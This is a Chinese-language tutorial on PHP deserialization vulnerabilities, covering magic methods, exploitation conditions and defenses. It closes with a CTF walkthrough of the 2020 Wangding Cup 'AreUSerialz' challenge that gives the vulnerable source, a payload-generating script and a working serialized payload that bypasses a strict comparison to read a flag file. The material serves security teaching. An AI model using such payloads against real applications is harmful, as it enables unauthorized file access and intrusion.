PHP反序列化漏洞详解(含靶场实战)

简介

PHP反序列化漏洞的本质不是函数本身有问题,而是反序列化的数据源不可信 + PHP 类中存在 "魔术方法" 被恶意触发,最终导致攻击者可以通过构造恶意的序列化字符串,控制反序列化后的对象行为,执行任意代码、读取文件、删除数据等恶意操作。

序列化就是将⼀个对象转换成⼀个字符串,反序列化就是将字符串还原成⼀个对象。

PHP中的魔术方法:

最常用的类型序列化:

其它序列化格式:

  • json字符串 json_encode
  • xml字符串 wddx_serialize_value
  • 二进制格式
  • 字节数组

注意点:

  • 如果传递的字符串不可以序列化,则返回 FALSE
  • 如果对象没有预定义,反序列化得到的对象是 __PHP_Incomplete_Class

序列化的作用:

  • 传输对象
  • 用作缓存(Cookie、Session)

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
出现反序列化漏洞的三个必备条件:

  • unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
  • 脚本中定义了Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如__destruct()、unlink()
  • 操作的内容需要有对象中的成员变量的值,比如filename

常见利用函数:

利用方式:序列化一个对象,修改成员变量的值,达到操作其他文件或者执行命令的目的。

防御方法:

  • 针对unserialize和Magic函数审计
  • 对用户输入的内容过滤
  • 白名单,限制反序列化的类;不能动态传参

实战(2020-⽹鼎杯-⻘⻰组-Web-AreUSerialz)

下载网站给的两个php文件

php 复制代码
<?php
class NewFlag {
   public static function getFlag($fileName) {
	   $res = "flag error";
	   if($fileName ==="NewFlag.php") {
	      $res = "flag:{this is flag}";
	   }
	   return $res;
   }
}
?>
php 复制代码
<?php

include("NewFlag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

	// 构造方法 FileHandler类被new 会调用此函数
    function __construct() { // 老师没有看到 类似于 new FileHandler
        $op = "1";
        $filename = "tmpfile";
        $content = "Hello World!";
        $this->process();
    }

	// 这个是重点2 【1就写    2就读(目的:让代码读取我的需求)】
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = NewFlag::getFlag($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

	// 这个是重点1
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

// 唯一触发 ctf2.php 的 地方
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str); // __wakeup
    }
} // __destruct
?>

网站的入口很显然就在最下面,参数是str,由于unserialize()函数会调用__wakeup()函数,我们再去寻找这个函数,发现没有。根据经验,我们知道程序结束时会自动调用__destruct()函数,发现这个函数会调用process()函数,而process()函数又调用了write()函数和read()函数,read()函数就能够读取到flag。

在__destruct()方法中,为了执行process()方法,我们选择用空格2,即" 2"绕过。再把私有属性改成公有属性,最终,简化后的php代码如下:

php 复制代码
<?php
class FileHandler {
    public $op=" 2";
    public $filename="NewFlag.php";
    public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);
?>

利用它生成一段序列化的字符串:O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";},放在str参数后即可。

相关推荐
国科安芯3 分钟前
卫星电源管理系统中高可靠MCU的功耗特性与电源监控功能分析
人工智能·单片机·嵌入式硬件·mcu·安全·电源管理系统·抗辐射
云祺vinchin19 分钟前
医疗行业灾备实践:一套方案实现HIS、EMR、PACS系统安全闭环
数据库·安全·数据备份·医疗安全·容灾备份
虎王物联23 分钟前
Docker容器安全加固:securityContext与seccomp在IoT边缘节点的隔离实践
物联网·安全·docker
小鹿软件办公1 小时前
微软官方提示:Windows 安全中心出现 Defender 已关闭为虚假告警
安全·microsoft
huijingjituan431 小时前
【企业级IM即时通讯系统|定制开发与私有化部署】
安全·即时通讯·对话·聊天·极光鸟
网安小学生(兼顾数据库版)1 小时前
CRA漏洞通报义务倒计时:9.11生效要求深度解读
网络·安全·web安全
奔跑的卡卡1 小时前
不只校验单个接口:基于接口调用图谱的全链路请求合法性校验方案
前端·web安全
国科安芯1 小时前
小卫星综合电子系统中功能安全与抗辐射加固的协同设计研究
嵌入式硬件·安全·架构·risc-v·抗辐射·小卫星·综合电子系统
MaiTube&Maipdf2 小时前
.maipdf 文件 + 系统级拒绝截屏 + 交付后仍可吊销
安全·pdf
Neighbor_OldY2 小时前
【实战复盘】RDP暴力破解与内网横向移动溯源:Windows全套排查命令与事件ID硬核解析
运维·windows·web安全